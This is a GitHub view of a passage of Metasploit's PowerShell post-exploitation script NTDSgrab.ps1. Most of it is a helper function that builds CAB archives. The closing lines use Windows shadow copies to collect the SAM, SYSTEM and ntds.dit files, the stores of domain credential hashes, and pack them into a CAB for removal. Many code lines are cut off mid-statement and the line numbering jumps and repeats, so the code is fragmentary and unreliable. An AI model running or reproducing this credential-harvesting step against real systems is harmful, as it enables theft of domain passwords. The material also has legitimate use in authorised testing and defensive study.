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metasploit-framework / data / post / powershell / NTDSgrab.ps1

History

Code







Blame

139 lines (114 loc) · 5.68 KB

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```
1 #Complete script created by Koen Riepe (koen.riepe@fox-it.com)
2 #New-CabinetFile originally by Iain Brighton: http://virtualengine.co.uk/2014/creating-
3 function New-CabinetFile {
4     [CmdletBinding()]
5     Param(
6         [Parameter(HelpMessage="Target .CAB file name.", Position=0, Mandatory=$true, V
7         [ValidateNotNullOrEmpty()]
8         [Alias("FilePath")]
9         [string] $Name,
10
11         [Parameter(HelpMessage="File(s) to add to the .CAB.", Position=1, Mandatory=$tr
12         [ValidateNotNullOrEmpty()]
13         [Alias("FullName")]
14         [string[]] $File,
15
16         [Parameter(HelpMessage="Default intput/output path.", Position=2, ValueFromPipe
17         [AllowNull()]
18         [string[]] $DestinationPath,
19
20         [Parameter(HelpMessage="Do not overwrite any existing .cab file.")]
21         [Switch] $NoClobber
22     )
23
24     Begin {
25
26         ## If $DestinationPath is blank, use the current directory by default
27         if ($DestinationPath -eq $null) { $DestinationPath = (Get-Location).Path; }
28         Write-Verbose "New-CabinetFile using default path '$DestinationPath'.";
29         Write-Verbose "Creating target cabinet file '$(Join-Path $DestinationPath $Name
30
31         ## Test the -NoClobber switch
32         if ($NoClobber) {
33             ## If file already exists then throw a terminating error
34             if (Test-Path -Path (Join-Path $DestinationPath $Name)) { throw "Output fil
35         }
36
37         ## Cab files require a directive file, see 'http://msdn.microsoft.com/en-us/lib
38         $ddf = ";<div>*** MakeCAB Directive file`r`n";
39         $ddf += ";<div>r`n";
40         $ddf += ".OPTION EXPLICIT`r`n";
41         $ddf += ".Set CabinetNameTemplate=$Name`r`n";
42         $ddf += ".Set DiskDirectory1=$DestinationPath`r`n";
43         $ddf += ".Set MaxDiskSize=0`r`n";
44         $ddf += ".Set Cabinet=on`r`n";
45         $ddf += ".Set Compress=on`r`n";
46         ## Redirect the auto-generated Setup.rpt and Setup.inf files to the temp direct
47         $ddf += ".Set RptFileName=$(Join-Path $ENV:TEMP "setup.rpt")`r`n";
48         $ddf += ".Set InfFileName=$(Join-Path $ENV:TEMP "setup.inf")`r`n";
49
50         ## If -Verbose, echo the directive file
51         if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
52             foreach ($ddfLine in $ddf -split [Environment]::NewLine) {
53                 Write-Verbose $ddfLine;
54             }
55         }
56     }
57 }
```

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48     Process {
49
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52
53         ## Enumerate all the files add to the cabinet directive file
54         foreach ($fileToAdd in $File) {
55
56
57             ## Test whether the file is valid as given and is not a directory
58             if (Test-Path $fileToAdd -PathType Leaf) {
59                 Write-Verbose ""$fileToAdd"";
60                 $ddf += ""$fileToAdd""`r`n";
61             }
62             ## If not, try joining the $File with the (default) $DestinationPath
63             elseif (Test-Path (Join-Path $DestinationPath $fileToAdd) -PathType Leaf) {
64                 Write-Verbose ""$(Join-Path $DestinationPath $fileToAdd)"";
65                 $ddf += ""$(Join-Path $DestinationPath $fileToAdd)""`r`n";
66             }
67             else { Write-Warning "File '$fileToAdd' is an invalid file or container obj
68         }
69     }
70
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79
80     End {
81
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84
85         $ddfFile = Join-Path $DestinationPath "$Name.ddf";
86         $ddf | Out-File $ddfFile -Encoding ascii | Out-Null;
87
88
89         Write-Verbose "Launching 'MakeCab /f ""$ddfFile""'.";
90         $makeCab = Invoke-Expression "MakeCab /F ""$ddfFile""";
91
92
93
94
95         ## If Verbose, echo the MakeCab response/output
96         if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
97             ## Recreate the output as Verbose output
98             foreach ($line in $makeCab -split [environment]::NewLine) {
99                 if ($line.Contains("ERROR:")) { throw $line; }
100                 else { Write-Verbose $line; }
101             }
102         }
103
104         ## Delete the temporary .ddf file
105         Write-Verbose "Deleting the directive file '$ddfFile'.";
106         Remove-Item $ddfFile;
107
108         ## Return the newly created .CAB FileInfo object to the pipeline
109         Get-Item (Join-Path $DestinationPath $Name);
110     }
111 }
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```

```
132      (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.Device0
133      if (Test-Path "All.cab"){
134          Remove-Item "All.cab"
135      }
136      New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit"
137      Remove-Item ntds.dit
138      Remove-Item SAM
139      Remove-Item SYSTEM
```